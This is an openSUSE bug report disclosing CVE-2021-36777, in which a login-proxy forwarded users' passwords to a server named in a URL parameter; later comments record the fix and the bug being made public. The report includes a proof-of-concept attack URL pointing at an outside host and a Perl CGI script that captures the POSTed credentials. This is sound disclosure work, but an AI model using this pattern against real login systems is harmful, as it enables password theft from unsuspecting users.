~~Bug 1191209 - (CVE-2021-36777) VUL-0: CVE-2021-36777: login-proxy sends password to attacker-provided domain~~

Status: RESOLVED FIXED

Classification: openSUSE
Product: openSUSE.org
Component: BuildService
Version: unspecified
Hardware: Other Other

Priority: P3 - Medium **Severity**: Major (vote)
Target Milestone: ---
Assigned To: Marcus Rückert
QA Contact: Adrian Schröter

URL:
Whiteboard:
Keywords:

Depends on:
Blocks:
Show dependency tree / graph

- Create test case
- Clone This Bug

Reported: 2021-10-01 08:01 UTC by Bernhard Wiedemann
Modified: 2022-02-23 09:55 UTC (History)
CC List: 6 users (show)

See Also:
Found By: ---
Services Priority:
Business Priority:
Blocker: ---

Attachments

Add an attachment (proposed patch, testcase, etc.)

Note
You need to log in before you can comment on or make changes to this bug.

Bernhard Wiedemann 2021-10-01 08:01:27 UTC Description

```
When authenticating various SUSE and openSUSE services, we use a login-proxy
so that the services themselves do not get to see user passwords.

Today, tiggered by darix and Victor Pereira, I investigated issues about
redirecting to attacker-provided URLs.
I found that the login-proxy can send the credentials (filled by users into the
login form) to an attacker-provided server.


Example attack URL:
https://build.opensuse.org/ICSLogin/auth-up/?url=http://www.zq1.de/

On the server side is an apache
(with a valid SSL cert for https) with a config line
ScriptAlias /ICSLogin/auth-up /usr/lib/cgi-bin/testpost
pointing to this script
#!/usr/bin/perl -w
use strict;
use CGI ":standard";
print header("text/plain");
if($ENV{REQUEST_METHOD} eq "POST") {
        print "\n\nPOST params:\n";
        foreach(param()) {
                print "$_=".param($_)."\n";
        }
}


also affected:
 https://hackweek.suse.com/ICSLogin/auth-up/?url=http://www.zq1.de/
 https://build.suse.de/ICSLogin/auth-up/?url=http://www.zq1.de/

not affected:
 https://en.opensuse.org/ICSLogin/auth-up/?url=http://www.zq1.de/
```

Johannes Segitz 2021-10-01 08:06:42 UTC Comment 1

```
Please use CVE-2021-36777 for this
```

Marcus Rückert 2021-10-06 11:22:17 UTC Comment 3

```
The appliance is not affected. the proxy code is only used on our infra.

the bad part that allowed affecting the form via url param is already patched out.
the general removal of the url param needs testing.
```

Bernhard Wiedemann 2021-10-08 02:05:51 UTC Comment 4

```
https://gitlab.suse.de/buildops/login-proxy-
scripts/-/commit/d0b45f98fc74b254ee0585f26647cb6c8d2c871f by darix fixed this CVE-
2021-36777
```

Johannes Segitz 2022-02-23 09:55:45 UTC Comment 6

```
making public. Fix is available and deployed
```